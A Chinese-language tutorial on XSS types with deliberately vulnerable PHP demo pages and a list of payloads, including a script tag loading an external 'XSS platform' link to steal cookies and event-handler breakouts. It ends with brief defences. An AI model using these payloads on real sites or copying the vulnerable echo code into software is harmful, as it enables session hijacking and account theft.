XSS跨站脚本攻击的分类
一、 反射型XSS跨站脚本攻击
二、 存储型XSS跨站脚本攻击
三、 基于DOM的XSS跨站脚本攻击
1.反射性XSS
经过后端,不经过数据库
2.储存型XSS
经过后端,经过数据库
3.基于DOM型的XSS
不经过后端,DOM—based XSS漏洞是基于文档对象模型(即Document Objeet Model缩写为:DOM)的一种漏洞,dom - xss是通过url传入参数去控制触发的。DOM 定义了访问 HTML 和 XML 文档的标准:
案例一:
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>XSS原理重现</title> </head> <body> <form action="" method="get"> <input type="text" size="50" name="xss_input"> <input type="submit"> </form> <hr> <?php $xss = $_GET['xss_input']; echo '你输入的字符为:<br>'.$xss; ?> </body> </html>
输入payload:
<script>alert('xss')</script>
仅仅是弹窗?
<script>alert(document.cooki)</script> //可以打印COOKIE
<script src=https://is.gd/86Zg1z></script> //结合XSS平台打COOKIE,单引号什么的都要去除。
案例二:
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>XSS利用输出的环境来构造代码</title> </head> <body> <center> <h6>把我们输入的字符串 输出到input里的value属性里</h6> <form action="" method="get"> <h6>请输入你想显现的字符串</h6> <input type="text" name="xss_input_value" value="输入"><br> <input type="submit"> </form> <hr> <?php $xss = $_GET['xss_input_value']; if(isset($xss)){ echo '<input type="text" value="'.$xss.'">'; }else{ echo '<input type="type" value="输出">'; } ?> </center> </body> </html>
在输入处输入aa以后看源码:
然后写出绕过payload
"><script>alert('xss')</script>
后来看文章发现这个也可以:
" onclick="alert('xss')
039是单引号的ASCII值.在其前面加&#即可.也是可以弹窗。注:需要触发。
需要触发肯定很麻烦,这个时候我们可以换一些别的事件。
Onmousemove 当鼠标移动就触发
Onload 当页面加载完成后触发
例如:" Onmousemove=" src=http://t.cn/R6uYrF2
然后换成打cookie的payload:
参考:http://www.freebuf.com/articles/web/54686.html
如何防御XSS
1.httponly
2.过滤输入输出是否包含特殊字符